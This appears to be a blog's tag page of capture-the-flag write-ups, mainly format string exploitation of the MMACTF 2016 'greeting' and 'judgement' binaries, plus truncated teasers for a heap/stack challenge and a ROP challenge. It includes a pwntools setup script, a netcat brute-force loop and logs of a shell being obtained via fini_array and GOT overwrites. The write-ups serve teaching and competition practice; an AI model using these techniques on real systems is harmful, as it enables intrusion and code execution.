Articles tagged pwn

  1. MMACTF 2016 - Greeting


    Challenge description:

    Pwn
    Host : pwn2.chal.ctf.westerns.tokyo
    Port : 16317

    Reversing and Finding the Bug

    Reversing with radare2:

    Looks like another textbook format string vulnerability because the user buffer is put into sprintf and then straight into printf. This time I had to actually do the work of getting code execution because the flag was not loaded onto the stack.

    Running the binary

    I wanted to see the bug in action so I loaded up my Ubuntu VM using vagrant and checked it out:

     ./greeting
    Hello, I'm nao!
    Please tell me your name... %08x
    Nice to meet you, 080487d0 :)
    

    Neat. Now for exploitation.

    Background

    For information on printf and a more basic format string exploit, check out the post I did on the judgement pwn challenge also from this CTF. In addition to having positional arguments, printf also has a cool feature where you can write the number of bytes that have been printed so far to a variable. This feature is what makes format string vulnerabilities so dangerous. If you can exploit one, you can get arbitrary write.

    Passing %hn to printf in the format string will write up to a half word value of the number of characters written so far. Combining this with positional arguments allows for half a word at a time to be written to anywhere. So this is bad.

    If you are interested in learning more about how format string vulnerabilities work then check out this paper

    Exploitation

    I decided to use libformatstr for this because I have never used it before and it seemed useful so I didn't have to craft the buffer manually.

    The payload function takes two arguments: an argument number and a padding number. The offset number is the word distance in memory away from your input and the padding is the number of bytes your input needs to be padded for the addresses you enter to be word aligned. Libformatstr can be used to determine these numbers:

    from pwn import *
    from libformatstr import *
    
    e = ELF("./greeting")
    r = process(e.path)
    
    r.sendline(make_pattern(0x40))
    r.recvuntil("you, ")
    res = r.recv()
    print(res)
    argnum, padding = guess_argnum(res, 0x40)
    log.info("argnum: {}, padding: {}".format(argnum, padding))
    

    Running this resulted in an output of argnum: 12, padding: 2. There was one other bit that needed to be changed as well. Since "Nice to meet you, " was being prepended to my input I had to set an additional argument when setting up the format string exploit called start_num.

    Armed with the argument number, padding, and start number I was ready to try and overwrite some values. The issue I ran into was that there are no function calls after the call to printf in main. I though of trying to overwrite a destructor (dtors), but there were none. I came across a way to overwrite the fini section of a binary to execute a function when the program was supposed to be quitting. I could not find much documentation on exactly what I needed to overwrite to make this work so I just used objdump and grep to find the symbols with fini in the name:

    → objdump -t greeting | grep fini
    08048780 l    d  .fini  00000000              .fini
    08049934 l    d  .fini_array    00000000              .fini_array
    08049934 l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
    08048740 g     F .text  00000002              __libc_csu_fini
    08048780 g     F .fini  00000000              _fini
    

    Five choices. Through trial and error I determined that overwriting whatever was at __do_global_dtors_aux_fini_array_entry gave me control of the program.

    My plan of attack became the following:
    1. Overwrite __do_global_dtors_aux_fini_array_entry with main
    2. Overwrite the GOT entry for strlen with system
    3. Write the full format string line into the program
    4. When main executes the second time, write /bin/sh so that the call to strlen in the getnline function executes system("/bin/sh") and gives me a shell!

    I wrote the following script to do the above:

    Running it resulted in the flag :)

     python greet2.py REMOTE
    [*] '/home/vagrant/CTF/tokyo/greeting'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Trying 40.74.112.206
    [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
    [+] Wrote system onto strlen and main onto fini... trying shell
    [+] got shell
    [+] Flag: TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
    [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
    

    W00t!
    TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

  2. MMACTF 2016 - Judgement


    Challenge description:

    Pwn Warmup
    Host : pwn1.chal.ctf.westerns.tokyo
    Port : 31729

    This was a binary pwn challenge, so I loaded it up in radare2 to take a look:

    Looks like a textbook format string vulnerability. printf has a positional arguments feature so normally you can specify which argument you want to use if you are the programmer. The following is an example use case of this:

    printf("3rd argument: %3$08x, 1st argument: %1$c\n", 'a', "unused", 0x41414141);
    

    This will print "3rd argument: 0x41414141, 1st argument: a"

    Format string vulnerabilities occur when a user controlled buffer is passed to printf. When printf is called it reads things off of the stack (function arguments) to print. Because the input buffer is passed straight in it allows reads off of the stack.

    Since the address of the flag was loaded on the stack before the main function it was somewhere reachable by printfs positional arguments.

    I just wrote a loop to brute force the exact offset number and spit out the flag:

     for i in {10..50}; do echo "%$i\$s" | nc pwn1.chal.ctf.westerns.tokyo 31729; done | grep CTF
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    

    I got it more than once... but I got it.

    TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

  3. CTFX 2016 - dat-boinary


    Reversing the Binary

    This challenge provided two binaries: dat-boinary and libc.so.6. Usually this combination requires you to leak memory, calculate offsets, and call system or an exec function from libc. With that in mind I jumped right in to reversing with radare2. The functions are rather large so I will leave this as an exercise to the reader. The binary can be found here.

    The first block of main allocates a dynamic buffer of size 0x80 with malloc and gets a "meme id" of up to 9 bytes that is stored in ebp-0x20. The next block provides five menu options: update the meme id, update the meme dankness, update meme content, print meme contents, and the super secret meme option. The first 4 are pretty straight forward, while the last is not so much.

    Stack locations of interest are:

    • ebp-0xc - location of menu choice (4 bytes)
    • ebp-0x10 - Temporary storage for the dankness of the meme (4 bytes)
    • ebp-0x14 - malloced buffer for meme content - (4 byte pointer)
    • ebp-0x18 - Meme dankness if the temporary dankness is greater than 0x7f (4 bytes)
    • ebp-0x20 - meme id location (8 bytes)

    After some trial and error in gdb I noticed that the initial fgets for the id of the meme takes 9 characters instead of the provided 8. This would prove useful later.

    Setting the meme id using the menu option used the length of the preexisting id to know how much to read from the user. This will also be useful, because as long as null bytes in the meme dankness can be avoided then the pointer to the malloced buffer can be overwritten and arbitrary write can be achieved. The only issue here is that this bug can only be triggered once without somehow making strlen return more than the actual strlen of the buffer. Again, that's a task for after investigation.

    Setting the dankness involved reading in a number into ebp-0x10 (temporary dankness storage), checking if it was over 0x7f, and then moving it into the meme dankness memory location (ebp-0x18) if that check was false. This is a problem because the meme dankness is directly before the pointer that I wanted to overwrite.

    The update content option does exactly what one would expect, but with one additional check: it uses fgets to read into the buffer allocated by malloc. The number of bytes it reads is the dankness number. Before anything is read it checks if the dankness is over 0x80, because that would cause a buffer overflow.

    Print contents is also straight forward; it prints the content of the meme with a proper call to printf.

    Finally, the secret meme function is passed the meme id buffer and then calls secret_meme. The secret_meme function sets meme id + 8 to 0x69696969 and prints something...

    ...


    Check out the full post for more details!

  4. IceCTF 2016 - ROPi


    Challenge description:

    Ritorno orientata programmazione nc ropi.vuln.icec.tf 6500

    The binary provided with the challenge was an x86 ELF. I started by reversing it with radare2:

    Feel free to stop the video above to look at the functions! The main function just calls ezy, which reads 0x40 bytes on top of a buffer that is 0x28 bytes in size. This means that we are running 0x18 bytes over the buffer. The first 4 bytes after those 0x28 overwrite the saved EBP and then the next 4 overwrite EIP. To test this theory we load up the binary in gdb and put in 0x28 bytes, plus BBBB to overwrite EBP, then iiii to overwrite EIP:

    ...


    Check out the full post for more details!